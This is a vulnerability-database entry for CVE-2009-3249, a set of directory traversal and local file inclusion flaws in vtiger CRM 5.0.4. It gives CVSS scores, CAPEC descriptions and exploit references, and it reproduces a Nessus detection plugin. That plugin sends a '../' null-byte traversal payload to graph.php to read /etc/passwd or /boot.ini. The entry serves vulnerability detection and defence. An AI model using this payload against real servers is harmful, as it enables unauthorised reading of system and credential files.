Vulnerabilities > CVE-2009-3249 - Path Traversal vulnerability in Vtiger CRM 5.0.4

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
vtiger
CWE-22
nessus
exploit available

Summary

Multiple directory traversal vulnerabilities in vtiger CRM 5.0.4 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in (1) the module parameter to graph.php; or the (2) module or (3) file parameter to include/Ajax/CommonAjax.php, reachable through modules/Campaigns/CampaignsAjax.php, modules/SalesOrder/SalesOrderAjax.php, modules/System/SystemAjax.php, modules/Products/ProductsAjax.php, modules/uploads/uploadsAjax.php, modules/Dashboard/DashboardAjax.php, modules/Potentials/PotentialsAjax.php, modules/Notes/NotesAjax.php, modules/Faq/FaqAjax.php, modules/Quotes/QuotesAjax.php, modules/Utilities/UtilitiesAjax.php, modules/Calendar/ActivityAjax.php, modules/Calendar/CalendarAjax.php, modules/PurchaseOrder/PurchaseOrderAjax.php, modules/HelpDesk/HelpDeskAjax.php, modules/Invoice/InvoiceAjax.php, modules/Accounts/AccountsAjax.php, modules/Reports/ReportsAjax.php, modules/Contacts/ContactsAjax.php, and modules/Portal/PortalAjax.php; and allow remote authenticated users to include and execute arbitrary local files via a .. (dot dot) in the step parameter in an Import action to the (4) Accounts, (5) Contacts, (6) HelpDesk, (7) Leads, (8) Potentials, (9) Products, or (10) Vendors module, reachable through index.php and related to modules/Import/index.php and multiple Import.php files.

Vulnerable Configurations

Part Description Count
Application
Vtiger
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

  • descriptionVtiger CRM 5.0.4 Pre-Auth Local File Inclusion Exploit. CVE-2009-3249. Webapps exploit for php platform
    idEDB-ID:16280
    last seen2016-02-01
    modified2011-03-05
    published2011-03-05
    reporterTecR0c
    sourcehttps://www.exploit-db.com/download/16280/
    titleVtiger CRM 5.0.4 Pre-Auth Local File Inclusion Exploit
  • descriptionVtiger CRM 5.0.4 (RCE/CSRF/LFI/XSS) Multiple Vulnerabilities. CVE-2009-3247,CVE-2009-3248,CVE-2009-3249,CVE-2009-3250. Webapps exploit for php platform
    fileexploits/php/webapps/9450.txt
    idEDB-ID:9450
    last seen2016-02-01
    modified2009-08-18
    platformphp
    port
    published2009-08-18
    reporterUSH
    sourcehttps://www.exploit-db.com/download/9450/
    titleVtiger CRM 5.0.4 RCE/CSRF/LFI/XSS Multiple Vulnerabilities
    typewebapps

Nessus

NASL familyCGI abuses
NASL idVTIGER_504_DIR_TRAVERSAL.NASL
descriptionThe version of Vtiger installed on the remote host is vulnerable to a directory traversal attack because it fails to properly sanitize user- supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id52656
published2011-03-14
reporterThis script is Copyright (C) 2011-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/52656
titleVtiger CRM graph.php Directory Traversal
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(52656);
  script_version("1.10");
  script_cvs_date("Date: 2018/08/06 14:03:14");

  script_cve_id("CVE-2009-3249");
  script_bugtraq_id(36062);
  script_xref(name:"EDB-ID", value:"9450");
  script_xref(name:"Secunia", value:"36309");

  script_name(english:"Vtiger CRM graph.php Directory Traversal");
  script_summary(english:"Tries to read a local file");

  script_set_attribute(attribute:"synopsis", value:
"An application running on the remote web server is affected by a
directory traversal vulnerability." );
  script_set_attribute(attribute:"description", value:
"The version of Vtiger installed on the remote host is vulnerable to a
directory traversal attack because it fails to properly sanitize user-
supplied input to the 'module' parameter of the 'graph.php' script.
An attacker can exploit this flaw to read arbitrary files from the
remote server subject to the privileges of the affected web service.

Note that the version of Vtiger is also potentially affected by
several other vulnerabilities, though Nessus has not tested for
these." );
  script_set_attribute(attribute:"see_also", value:"http://www.ush.it/team/ush/hack-vtigercrm_504/vtigercrm_504.txt");
  script_set_attribute(attribute:"solution", value:"Upgrade to Vtiger CRM 5.1.0 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"d2_elliot_name", value:"vtiger CRM 5.0.4 LFI");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
 script_cwe_id(22);

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/08/18");
  script_set_attribute(attribute:"patch_publication_date", value:"2009/07/22");
  script_set_attribute(attribute:"plugin_publication_date", value:"2011/03/14");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2011-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "os_fingerprint.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_keys("www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded:0, php:TRUE);

os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) file = '/boot.ini';
  else file = '/etc/passwd';
  files = make_list(file);
}
else files = make_list('/etc/passwd', '/boot.ini');
file_pats = make_array();
file_pats['/etc/passwd'] = "root:.*:0:[01]";
file_pats['/boot.ini'] = "^ *\[boot loader\]";

# Look for Vtiger installs
if (thorough_tests) dirs = list_uniq(make_list("/vtiger", "/vtigercrm", "/crm", cgi_dirs()));
else dirs = make_list(cgi_dirs());

contents = "";
found_file = "";
installs = 0;
vuln_reqs = make_list();

foreach dir (dirs)
{
  # Make sure we're dealing with vtiger.
  res = http_get_cache(port:port, item:dir+'/', exit_on_fail:TRUE);
  if (
    '/vtigercrm_icon.ico">' >< res &&
    '<!-- startscrmprint --><' >< res &&
    '<a href=\'http://www.vtiger.com\' target=\'_blank\'>vtiger.com' >< res
  )
  {
    installs++;
    # Try to exploit the issue.
    foreach file (files)
    {
      # Once we find a file that works, stick with it for any subsequent tests.
      if (found_file && file != found_file) continue;

      # Try to exploit the issue
      exploit = mult_str(str:'../', nb:12) + file + '%00';

      url = dir + '/graph.php?module=' + exploit;

      res = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);
      body = res[2];

      # There's a problem if we see the expected contents.
      file_pat = file_pats[file];
      if (egrep(pattern:file_pat, string:body))
      {
        vuln_reqs = make_list(vuln_reqs, url);

        if (!contents && egrep(pattern:file_pat, string:body))
        {
          found_file = file;

          contents = body;
        }
      }
    }
  }
  if (max_index(vuln_reqs) && !thorough_tests) break;
}
if (!installs) exit(0, "The web server on port "+port+" does not appear to host vtiger CRM.");
if (max_index(vuln_reqs) == 0) exit(0, "No vulnerable installs of vtiger CRM were found on the web server on port "+port+".");

# Report findings.
if (report_verbosity > 0)
{
  line_limit = 10;
  trailer = '';

  if (os && "Windows" >< os) found_file = str_replace(find:'/', replace:'\\', string:found_file);

  header =
    'Nessus was able to exploit the issue to retrieve the contents of\n' +
    '\'' + found_file + '\' on the remote host using the following URL';

  if (report_verbosity > 1)
  {
    contents = data_protection::redact_etc_passwd(output:contents);
    trailer =
      'Here are its contents (limited to ' + line_limit + ' lines ) :\n' +
      '\n' +
      crap(data:'-', length:30) + ' snip ' + crap(data:'-', length:30) + '\n' +
      beginning_of_response(resp:contents, max_lines:line_limit) +
      crap(data:'-', length:30) + ' snip ' + crap(data:'-', length:30) + '\n';
  }

  report = get_vuln_report(items:vuln_reqs, port:port, header:header, trailer:trailer);
  security_hole(port:port, extra:report);
}
else security_hole(port);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/98990/vtigercrm-lfi.txt
idPACKETSTORM:98990
last seen2016-12-05
published2011-03-06
reporterTecR0c
sourcehttps://packetstormsecurity.com/files/98990/Vtiger-CRM-5.0.4-Local-File-Inclusion.html
titleVtiger CRM 5.0.4 Local File Inclusion

Seebug

bulletinFamilyexploit
descriptionNo description provided by source.
idSSV:70802
last seen2017-11-19
modified2014-07-01
published2014-07-01
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-70802
titleVtiger CRM 5.0.4 Pre-Auth Local File Inclusion Exploit